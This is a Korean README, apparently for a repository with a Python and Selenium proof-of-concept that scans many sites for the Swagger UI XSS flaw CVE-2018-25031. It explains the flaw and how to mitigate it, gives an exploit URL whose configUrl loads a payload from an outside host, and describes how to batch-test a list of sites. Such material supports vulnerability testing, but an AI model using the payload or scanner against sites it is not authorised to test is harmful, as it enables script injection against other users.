
여러 엔드포인트에서 Selenium을 사용한 자동 탐지를 통해 Swagger UI의 CVE-2018-25031 XSS 취약점을 시연하는 Python 기반 개념 증명 스크립트.
이 저장소에는 Selenium 라이브러리를 사용하여 Swagger UI의 크로스 사이트 스크립팅(XSS) 취약점에 대한 개념 증명(PoC)을 보여주는 Python 스크립트가 포함되어 있습니다. 이 PoC의 목적은 악성 페이로드를 사용하여 Swagger UI를 통해 해당 취약점에 취약한 사이트를 식별하는 것입니다.
Swagger UI는 사용자 친화적인 인터페이스를 통해 API를 시각화하고 상호 작용하는 데 널리 사용되는 도구입니다. 그러나 버전 2.9.2에서는 공격자가 로드된 Swagger UI 페이지에 악성 JavaScript 코드를 주입할 수 있는 XSS 취약점이 발견되었습니다.
XSS는 애플리케이션이 사용자가 입력한 데이터를 페이지에 표시하기 전에 적절히 검증하지 않을 때 발생합니다. 이 경우, 공격자는 Swagger UI 입력 필드에 악성 JavaScript 코드를 삽입하여 취약점을 악용할 수 있으며, 이는 동일한 손상된 페이지에 접속하는 다른 사용자의 브라우저 컨텍스트에서 실행됩니다.

참고: 위 이미지는 공격자가 영향을 받는 버전의 보안 결함을 이용하여 Swagger UI에 XSS 페이로드를 삽입하는 예를 보여줍니다.
이 취약점을 완화하는 가장 효과적인 방법은 Swagger UI가 영향을 받지 않는 버전으로 업데이트되었는지 확인하는 것입니다. 최신 Swagger UI 버전을 확인하고 항상 최신 상태로 유지하세요.
Swagger UI를 사용하거나 사용자 지정하려는 개발자는 인터페이스에 표시하기 전에 입력 데이터를 적절히 검증하는 것이 필수적입니다. 사용자가 삽입한 HTML 또는 JavaScript를 직접 렌더링하지 않는 것이 XSS 취약점을 방지하는 권장 방법입니다.
다음은 Swagger UI를 사용하여 취약점을 악용하는 간단한 예시입니다.
http://127.0.0.1:8080/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json이 섹션은 교육 및 정보 제공 목적으로만 제공됩니다. 악의적이거나 불법적인 활동을 조장하거나 참여하지 마십시오. 취약점 보고 시 항상 책임 있는 공개 관행을 따르십시오.
스크립트를 실행하기 전에 다음 사전 요구 사항이 설치되어 있는지 확인하십시오.
pip install selenium
이 저장소를 클론하거나 다운로드하십시오.
sites_para_testar.txt 파일을 편집하고 테스트할 사이트의 URL을 한 줄에 하나씩 입력하십시오.
저장소 폴더에서 터미널을 열고 다음 명령을 사용하여 스크립트를 실행하십시오.
python main.py
스크립트는 sites_para_testar.txt 파일에 나열된 사이트를 순회하며 해당 Swagger UI URL에 접속하여 XSS 경고창이 감지되는지 확인합니다. 결과는 세 개의 파일에 기록됩니다: 잠재적으로 취약한 URL은 valido.txt에, 취약할 가능성이 있는 URL은 talvezvalido.txt에, 취약하지 않은 URL은 naovalido.txt에 저장됩니다.
이 스크립트는 Selenium 라이브러리를 사용하여 Chrome 브라우저와의 상호 작용을 자동화합니다. sites_para_testar.txt 파일에 구성된 Swagger UI URL을 로드하고 configUrl 매개변수에 악성 페이로드를 추가한 후 XSS 경고창이 트리거되는지 확인합니다.
스크립트는 다음 단계를 수행합니다.
Selenium 및 기타 종속성에서 필요한 라이브러리를 가져옵니다.
SSL 및 인증서 오류를 무시하도록 ChromeDriver 옵션을 설정합니다.
Chrome 드라이버를 초기화합니다.
sites_para_testar.txt 파일에서 테스트할 사이트를 읽고 반복합니다.
악성 페이로드가 추가된 각 Swagger UI URL을 엽니다.
XSS 경고창이 트리거되는지 확인을 시도합니다.
확인 결과에 따라 URL을 valido.txt, talvezvalido.txt 또는 naovalido.txt 파일에 기록합니다.
Chrome 드라이버를 종료합니다.
이 스크립트는 교육 및 사이버 보안 인식 목적으로만 제공됩니다. 악의적이거나 불법적인 목적으로 사용해서는 안 됩니다. 저자는 이 스크립트의 부적절한 사용 또는 사용으로 인한 어떠한 손해에 대해서도 책임을 지지 않습니다.
이 스크립트를 개선할 방법을 찾거나 제안 사항이 있으면 언제든지 풀 리퀘스트를 생성해 주십시오.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.